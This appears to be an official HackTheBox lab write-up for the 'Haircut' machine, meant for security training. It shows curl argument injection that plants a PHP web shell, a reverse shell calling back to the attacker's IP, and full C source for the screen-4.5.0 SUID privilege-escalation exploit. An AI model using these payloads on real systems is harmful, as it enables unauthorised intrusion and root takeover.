



HACKTHEBOX



Haircut

15th July 2024 / Document No D24.100.290

Prepared By: Arrexel & C4rm3l0

Machine Author: vap0r

Difficulty: **Medium**

Classification: Official

Synopsis

Haircut is a medium-difficulty Linux machine, featuring several useful attack vectors. The challenge begins with web enumeration, where a PHP site invoking `curl` is discovered. Parameter injection is leveraged to write a webshell to the server, allowing for code execution. Further enumeration of the filters enables command execution directly within the page. For privilege escalation, a vulnerable version of `screen` with SUID permissions is identified and exploited to achieve `root` access.

Skills Required

- Basic knowledge of Linux
- Enumerating ports and services

Skills Learned

- HTTP-based fuzzing
- Exploiting CURL/Command injection

Enumeration

Nmap

```
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.24 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,,$//)
nmap -p$ports -sc -sv 10.10.10.24
```

Starting Nmap 7.94SVN (<https://nmap.org>) at 2024-07-15 04:56 CDT
Nmap scan report for 10.10.10.24
Host is up (0.0084s latency).

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp    open  http     nginx 1.10.0 (Ubuntu)
|_ http-title: HTB Hairdresser
|_ http-server-header: nginx/1.10.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 6.88 seconds
```

Nmap reveals only two open services: `OpenSSH` and `NGINX`.

HTTP

We run a directory scan to enumerate the web server's endpoints:

```
gobuster dir --url http://10.10.10.24 --wordlist
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php -t
50
```

=====

Gobuster v3.6

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

=====

```
[+] Url:                http://10.10.10.24
[+] Method:             GET
[+] Threads:            50
[+] Wordlist:           /usr/share/wordlists/dirbuster/directory-list-
lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:         gobuster/3.6
[+] Extensions:        php
[+] Timeout:            10s
```

=====

Starting gobuster in directory enumeration mode

=====

```
/uploads                (Status: 301) [Size: 194] [--> http://10.10.10.24/uploads/]
/exposed.php            (Status: 200) [Size: 446]
```

Progress: 415286 / 415288 (100.00%)

Finished

We find an `/uploads/` directory, as well as an `exposed.php` endpoint.

Foothold

The `exposed.php` endpoint accepts a URL and appears to send a request to it.

Enter the Hairdresser's location you would like to check. Example: `http://localhost/test.html`

We set up a listener with `netcat` to inspect the raw request.

```
nc -nlvp 8000
```

We then send a request to our machine's IP via the web application:

```
http://10.10.14.70:8000/
```

After pressing `Go`, the website hangs, as it is waiting on a response from our listener, which caught the request:

```
nc -nlvp 8000
```

```
listening on [any] 8000 ...
connect to [10.10.14.70] from (UNKNOWN) [10.10.10.24] 37830
GET / HTTP/1.1
Host: 10.10.14.70:8000
User-Agent: curl/7.47.0
Accept: */*
```

We can see the `curl` `User-Agent` header, indicating that the server likely uses the command-line utility `CURL` to make the request. This opens up the target to command injection.

If our input is passed directly to the command, we might be able to append the `-o` flag to save the `curl` output to a file. More specifically, since we can access the `/uploads/` directory on the web server, we could upload a web shell there and obtain remote code execution.

We first write a `PHP` web shell into a file:

```
echo '<?php system($_GET["me1o"]); ?>' > shell.php
```

Then, we start a `Python` web server to host the file.

```
python3 -m http.server
```

Finally, we use the following payload to inject the flag and save the file to the `uploads` directory:

```
http://<LAB_IP>:8000/shell.php -o uploads/shell.php
```

After submitting the request, we see a `GET` request on our `Python` server:

```
10.10.10.24 - - [15/Jul/2024 05:24:55] "GET /shell.php HTTP/1.1" 200 -
```

Moreover, we see that the file has successfully been saved in `uploads/shell.php`, giving us Remote Code Execution (RCE):

```
curl http://10.10.10.24/uploads/shell.php?melo=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

We can leverage this to an interactive shell by using a pre-made [PHP reverse shell](#) script.

```
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O rev.php
```

We change the `$ip` and `$port` parameters and proceed to upload the script in the same fashion as before.

```
$ip = '10.10.14.70'; // CHANGE THIS
$port = 4444;       // CHANGE THIS
```

```
http://<LAB_IP>:8000/rev.php -o uploads/rev.php
```

Finally, we start a `netcat` listener that will catch the shell:

```
nc -nlvp 4444
```

We then `curl` the payload:

```
curl http://10.10.10.24/uploads/rev.php
```

On our listener, we have obtained a shell as `www-data`:

```
nc -nlvp 4444

listening on [any] 4444 ...
connect to [10.10.14.70] from (UNKNOWN) [10.10.10.24] 55806
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64
x86_64 x86_64 GNU/Linux
12:36:34 up 41 min,  0 users,  load average: 0.00, 0.00, 0.00
USER      TTY      FROM          LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

The `user` flag can be obtained at `/home/maria/user.txt`.

Privilege Escalation

We start our enumeration by looking for potentially interesting SUID files:

```
$ find / -perm /4000 2>/dev/null

<...SNIP...>
/usr/bin/passwd
/usr/bin/screen-4.5.0
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
```

One unusual file sticks out, namely `screen-4.5.0`.

Researching this version leads us to [Exploit-DB](#), where there is a public exploit for this tool.

We will run the script's steps manually, to better understand the vulnerability and resolve any errors that might arise. We will use `/tmp` for our exploit-related files:

```
cd /tmp
```

We start by creating the `libhax.c` file on the target machine, by running this command:

```
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__((__constructor__))
void dropsHELL(void){
    chown("/tmp/rootsHELL", 0, 0);
    chmod("/tmp/rootsHELL", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
```

Next, we try compiling it with `gcc`:

```
$ gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

gcc: error trying to exec 'cc1': execvp: No such file or directory
```

We can fix this error by exporting `gcc`'s path in the `$PATH` environment variable:

```
export PATH=/usr/bin:$PATH
```

We re-run the `gcc` command, which results in a warning, but successfully compiles the shared object:

```
$ gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

/tmp/libhax.c: In function 'dropshell':
/tmp/libhax.c:7:5: warning: implicit declaration of function 'chmod' [-wimplicit-function-declaration]
    chmod("/tmp/rootshell", 04755);
    ^
```

Next, we save the `rootshell.c` file:

```
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
```

We then compile it:

```
$ gcc -o /tmp/rootshell /tmp/rootshell.c

/tmp/rootshell.c: In function 'main':
/tmp/rootshell.c:3:5: warning: implicit declaration of function 'setuid' [-wimplicit-function-declaration]
    setuid(0);
    ^
/tmp/rootshell.c:4:5: warning: implicit declaration of function 'setgid' [-wimplicit-function-declaration]
    setgid(0);
    ^
/tmp/rootshell.c:5:5: warning: implicit declaration of function 'seteuid' [-wimplicit-function-declaration]
    seteuid(0);
    ^
/tmp/rootshell.c:6:5: warning: implicit declaration of function 'setegid' [-wimplicit-function-declaration]
    setegid(0);
    ^
/tmp/rootshell.c:7:5: warning: implicit declaration of function 'execvp' [-wimplicit-function-declaration]
    execvp("/bin/sh", NULL, NULL);
```

We get some more errors, but the binary has been compiled successfully:

```
$ file /tmp/rootshell
```

```
rootshell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically  
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,  
BuildID[sha1]=f8513798477f86cceb2a5f98a0f26494388b9349, not stripped
```

Finally, as per the script, we run the following commands:

```
cd /etc  
umask 000  
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"  
screen -ls  
/tmp/rootshell
```

After running the command sequence, we find ourselves in a shell as `root`:

```
id  
  
uid=0(root) gid=0(root) groups=0(root),33(www-data)
```

The `/tmp/rootshell` binary is now owned by `root`, and has the SUID bit:

```
ls -al /tmp/rootshell  
  
-rwsr-xr-x 1 root root 8816 Jul 15 13:06 /tmp/rootshell
```

The final flag can be found in `/root/root.txt`.